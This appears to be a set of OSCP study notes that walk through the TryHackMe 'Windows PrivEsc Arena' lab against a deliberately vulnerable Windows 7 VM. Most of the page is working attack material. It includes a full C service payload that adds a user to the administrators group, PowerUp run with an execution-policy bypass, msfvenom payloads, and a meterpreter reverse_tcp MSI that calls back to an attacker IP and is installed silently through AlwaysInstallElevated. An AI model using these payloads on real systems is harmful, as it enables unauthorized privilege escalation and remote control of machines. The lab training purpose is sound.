> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/module-18-privllege-escalation/windows/thm-windows-privesc-arena.md).

# THM - Windows PrivEsc Arena

Students will learn how to escalate privileges using a very vulnerable Windows 7 VM. RDP is open. Your credentials are user:password321

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FbnD9VUMlC90qmD8XONxG%2Fimage.png?alt=media&amp;token=0d2e570c-151c-400a-a0ba-3bc807e44dfe" alt=""><figcaption></figcaption></figure>

connect rdp

```bash
rdesktop 10.10.50.130 -g 95%
```

PowerUp

```powershell
powershell.exe -ep bypass 
import-module powerup.p1
invoke-AllChecks
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FSJXTYmNbuNtqsM1xopfr%2Fimage.png?alt=media&amp;token=a7956272-12c5-45c7-be83-be602e4c43be" alt=""><figcaption></figcaption></figure>

```
lcacls.exe <path.exe>
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F1QbJHp7e5KSjWe6yURVH%2Fimage.png?alt=media&amp;token=c63c908f-2a22-46e0-8ab5-18755c3ce3d0" alt=""><figcaption><p>"C:\Program Files\File Permissions Service\filepermservice.exe"</p></figcaption></figure>

Code C to make privesc in win7

### Service Escalation - Registry

#### Detection

```powershell
 Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FRmJZ3DrtYeKcivyuVFAB%2Fimage.png?alt=media&amp;token=7637c4e3-d1fa-4cdc-a2f0-588c425d36eb" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
Notice that the output suggests that user belong to “**NT** **AUTHORITY**\\**INTERACTIVE**” has “**FullContol**” permission over the registry key.
{% endhint %}

#### Exploitation

```c
#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 
 
void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("cmd.exe /k net localgroup administrators user /add");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
 
    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 
 
    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 
    
    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);
 
    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
 
        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 
        
        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
}
```

```powershell
sc start filepermsvc
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FZinTvzZXWPCsYiHKwJuG%2Fimage.png?alt=media&amp;token=890f19a6-1af1-4baf-b35b-03b0b1df6adb" alt=""><figcaption></figcaption></figure>

To Delete user from group

```powershell
net localgroup Administrators user /DELETE�
```

Escalation va Unquoted Path

```bash
msfvenom -p windows/exec CMD='net localgroup Administrators user /add ' -f exe -o /home/h3ckt0r/tool/privesc/common.exe
updog -p 8080
```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2F9UQ0Ugn8UHs5TcNSN1aj%2Fimage.png?alt=media&amp;token=286faba1-199e-4863-9837-b448c439a762" alt=""><figcaption><p>nqoted path</p></figcaption></figure>

### Registry Escalation - AlwaysInstallElevated

> 1.Open command prompt and type: **reg query**\
> **HKLM\Software\Policies\Microsoft\Windows\Installer** \
> 2.From the output, notice that “**AlwaysInstallElevated**” value is **1**
>
> <img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Fj5T4Sbd7pt2AL2QbYmME%2Fimage.png?alt=media&amp;token=efa967f5-724d-4395-a5d2-9ed0d784ac47" alt="" data-size="original">

{% code overflow="wrap" %}

```
 msfvenom -p windows/meterpreter/reverse_tcp lhost=10.9.0.213 -f msi -o setup.msi
```

{% endcode %}

1.Place ‘setup.msi’ in ‘C:\\**Temp**’.\
2.Open command prompt and type: **msiexec /quiet /qn /i C:\Temp\setup.msi**

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FGTnUc3qZqxcRaMnJ1zpW%2Fimage.png?alt=media&amp;token=73f2052b-c70f-4bdf-b37d-ba29c93a5d88" alt=""><figcaption></figcaption></figure>

### Service Escalation - Executable Files

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FypxlUMy4f68E465Zcuup%2Fimage.png?alt=media&amp;token=b43f64a7-a887-49e4-9efc-2ab55bebefbd" alt=""><figcaption></figcaption></figure>

Service Escalation - DLL Hijacking

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FLYmxtwZ0eZU7jUgEDIuC%2Fimage.png?alt=media&amp;token=0883bdb0-5eb1-44ec-8ee2-790ee352ca94" alt=""><figcaption></figcaption></figure>
